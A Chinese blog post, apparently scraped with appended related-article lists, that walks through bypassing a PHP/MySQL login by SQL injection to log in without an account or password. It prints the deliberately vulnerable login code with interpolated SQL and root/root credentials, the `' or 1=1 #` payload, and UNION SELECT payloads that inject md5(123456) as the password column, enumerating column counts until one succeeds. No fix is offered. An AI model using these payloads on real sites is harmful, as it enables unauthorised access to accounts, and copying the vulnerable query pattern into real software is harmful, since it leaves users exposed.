声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关。
在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。
看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。
 可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。
本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。
当然,实现正面的sql注入需要以下几个条件:
1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。
2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入);
3、登录算法只采用了一层md5算法
/**实例***********start**/
一、先看下这个数据表结构

--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(30) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- 转存表中的数据 `user`
--
 
INSERT INTO `user` (`id`, `username`, `password`) VALUES
(1, 'admin', 'fcea920f7412b5da7be0cf42b8c93759');
 

数据表里面存在一个admin用户,它的密码是1234567,md5加密之后的明文

二、看下后台代码
if(!empty($_POST)) {
    $link = mysqli_connect('localhost', "root", "root");
    mysqli_select_db($link, "test");
    mysqli_set_charset($link, "utf8");
    $username = $_POST["username"];
    $password = $_POST["password"];
    $sql = "SELECT * FROM user where username='$username'";  
    $res = mysqli_query($link, $sql);
    $row = mysqli_fetch_assoc($res);
    
    if (md5($password) == $row["password"]) { 
        echo "登录成功";
       
    }else{
        echo '失败';
    }
}
程序很简单,先到数据库查出一个 用户名username = 变量 的所有记录
再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。
如果一样则登录成功,否则登录失败。

三、前端页面


四、发动攻击
我们的目标是越狱单引号。
如果后台的代码sql是 select * form user where username='$username'  and password=' ".md5($password)." ';
那我的攻击就简单了。用户名:6666 ' or 1=1 #  密码:6666  ; 单引号之前的字符和密码可以随意填。
最后生成的sql是select * form user where username='6666' or 1=1 # and password='6666 '; 这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了);
但是我们的程序是取出一个账号的所有信息,再比对密码。
我们希望    $row = mysqli_fetch_assoc($res); 
$row 数组内有一个字段password,和我们提交的密码$password md5后一致。
于是巧构union查询:

用户名:6666 ' union select 1,2,md5(123456) as password#  (这里md5(123456) as password很重要)
密码:123456  (这里123456,必须和用户名中的123456一样)
最后生成的sql语句是 : select * form user where username='6666' union select 1,2,md5(123456) as password

完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样。所有你的尝试中可能会报错。不过可以依次枚举。
第一次 用户名:6666 ' union select 1,2,md5(123456) as password#  
第二次 用户名:6666 ' union select 1,2,3,md5(123456) as password#  
第三次 用户名:6666 ' union select 1,2,3,4,md5(123456) as password#  
第四次 用户名:6666 ' union select 1,2,3,4,5,md5(123456) as password#  
第五次 用户名:6666 ' union select 1,2,3,4,5,6,md5(123456) as password#  
...
最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。
/**实例***********end**/  
最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好!
好吧,扯蛋到此结束。MD都一点半了,睡觉了。
author:小米飞刀
email:2777314125@qq.com

Web登录敲门砖之sql注入的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  3. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  4. 一个简单的后台与数据库交互的登录与注册[sql注入处理,以及MD5加密]

    一.工具: vs2013[因为我现在用的也是2013,版本随便你自己开心] sql2008[准备过久升级] 二.用到的语言: HTML+CSS+Jquery+Ajax+sqlserver HTML[相 ...

  5. Web常见安全漏洞-SQL注入

    SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...

  6. Web安全篇之SQL注入攻击

    在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...

  7. web开发中防止SQL注入

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  8. Web很脆弱,SQL注入要了解

    SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login ...

  9. PHP查询登录中的sql注入

    ---------------------------------------------------------------------------------------------------- ...

随机推荐

  1. MyServer

    //一.设置一个8089端口的本地IP服务器 1 package myserver; import java.io.IOException; import java.net.ServerSocket; ...

  2. 九大排序算法Demo

    1. 冒泡排序 冒泡排序(Bubble Sort)是一种简单的排序算法.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.走访数列的工作是重复地进行直到没有再需要交换, ...

  3. win10 uwp 打电话

    UWP可以使用打电话功能,在PC是用Skype,在手机是直接使用电话功能. UWP可以通过Skype打电话,那么如何通过应用间通讯,很简单使用Launcher. Skype电话使用Skype:(电话号 ...

  4. UVa816,Ordering Tasks,WA

    #include <iostream> #include <cstdio> #include <string> #include <cstring> # ...

  5. Linux文件系统的层级结构

    Linux文件系统的层级结构   文件结构 倒置的树状结构 :Linux的哲学思想是一切皆文件,把几乎所有资源统统抽象为文件形式:包括硬件设备,甚至通信接口等 根目录 :linux的文件起始均从唯一的 ...

  6. jQuery 常用操作(转)

    一.书写规则 支持链式操作: 在变量前加"$"符号(var $variable = jQuery 对象): 注:此规定并不是强制要求. 二.寻找元素 选择器 基本选择器 层级选择器 ...

  7. PHP入门,clone和__clone

      前 言 这篇文章主要介绍了PHP编程中的__clone()方法使用详解,__clone()方法相当于一个浅拷贝,是PHP入门学习中的基础知识,需要的朋友可以参考下. 1对象是引用数据类型,当使用= ...

  8. WebSocket 详解教程

    WebSocket 详解教程 概述 WebSocket 是什么? WebSocket 是一种网络通信协议.RFC6455 定义了它的通信标准. WebSocket 是 HTML5 开始提供的一种在单个 ...

  9. C++计时器:毫秒级和微秒级

    1.毫秒级 使用GetTickCount()获取系统启动所经过的毫秒数 #include<iostream> using namespace std; int main(){ DWORD ...

  10. 一个比较实用的商业级图表Echarts

      了解了解                    ECharts,缩写来自Enterprise Charts,商业级数据图表,一个纯Javascript的图表库,可以流畅的运行在PC和移动设备上,兼 ...